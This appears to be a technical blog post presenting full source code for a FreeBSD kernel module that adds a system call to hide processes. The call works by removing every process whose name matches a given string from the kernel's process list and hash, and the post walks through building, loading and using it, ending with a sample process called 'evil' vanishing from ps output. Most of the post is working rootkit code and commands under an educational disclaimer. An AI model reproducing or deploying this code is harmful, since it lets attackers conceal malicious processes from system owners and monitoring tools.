TL;DR

Remove arbitrary process from the list that the kernel holds to hide the target process.

struct proc and p_list

defined in <sys/proc.h>.

In the article I wrote last year, I explained about processes in FreeBSD.

Additionally, a list called proclist is defined in sys/proc.h. Please refer to past article for information on lists in FreeBSD.

Implementation

sx_xlock(&allproc_lock);
FOREACH_PROC_IN_SYSTEM(p) {
    PROC_LOCK(p);
    if (p->p_state == PRS_NEW || (p->p_flag & P_WEXIT) || !p->p_vmspace)
        PROC_UNLOCK(p);
        continue;
    if (strstr(p->p_comm, uap->cmdline)) {
        LIST_REMOVE(p, p_list);
        LIST_REMOVE(p, p_hash)
    }
    PROC_UNLOCK(p);
}
sx_xunlock(&allproc_lock);

The task is a simple one: scan through the list and remove the entry if it matches the given cmdline.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/sx.h>
#include <sys/mutex.h>

struct prochide_args {
    char *cmdline;
};

static int prochide(struct thread *td, void *syscall_args) {
    struct prochide_args *uap;
    uap = (struct prochide_args *)syscall_args;

    struct proc *p;
    sx_xlock(&allproc_lock);
    FOREACH_PROC_IN_SYSTEM(p) {
        PROC_LOCK(p);
        if (!p->p_vmspace || (p->p_flag & P_WEXIT)) {
            PROC_UNLOCK(p);
            continue;
        }

        if (strstr(p->p_comm, uap->cmdline)) {
            LIST_REMOVE(p, p_list);
            LIST_REMOVE(p, p_hash);
        }
        PROC_UNLOCK(p);
    }
    sx_xunlock(&allproc_lock);
    return(0);
}

static struct sysent prochide_sysent = {
    .sy_narg = 1,
    .sy_call = prochide
};

static int offset = NO_SYSCALL;

static int load(struct module *module, int cmd, void *arg) {
    int error = 0;
    switch(cmd) {
        case MOD_LOAD:
            uprintf("System call loaded at offset %d.\n", offset);
            break;
        case MOD_UNLOAD:
            uprintf("System call unloaded from offset %d.\n", offset);
            break;
        default:
            error = EOPNOTSUPP;
            break;
    }
    return(error);
}

SYSCALL_MODULE(prochide, &offset, &prochide_sysent, load, NULL);
KMOD = prochide
SRCS = prochide.c
SYSDIR = /usr/src/13.2/sys

.include <bsd.kmod.mk>
$ sudo git clone -b releng/13.2 https://git.freebsd.org/src.git /usr/src/13.2
$ make
$ sudo kldload ./prochide.ko
System call loaded at offset 210.

Run it

The sample to be hidden.

#include <unistd.h>

void main() { while(1) sleep(65535); }

Can check it by running the ps command.

$ ps aux | grep evil | grep -v grep
vagrant 1375   0.0  0.1  12708  2132  0  S    18:20    0:00.00 ./evil

Let’s hide.

$ perl -e '$cmdline = "evil";' -e 'syscall(210, $cmdline);'
$ ps aux | grep evil | grep -v grep

👿

Disclaimer

This article is written for educational and informational purposes only.

The techniques and information discussed herein are not intended to promote or endorse the development, distribution, or use of malware. Additionally, this article does not encourage or facilitate any unlawful or criminal activities. Readers are solely responsible for any actions taken based on the information provided, and the author and publisher of this article shall not be held liable for any damages arising from such actions.

It is important to enhance cybersecurity knowledge while always adhering to legal and ethical standards.

Conclusion

This article is the 5th day’s post of the n01e0 Advent Calendar 2024.

Not sure if there will be a post tomorrow.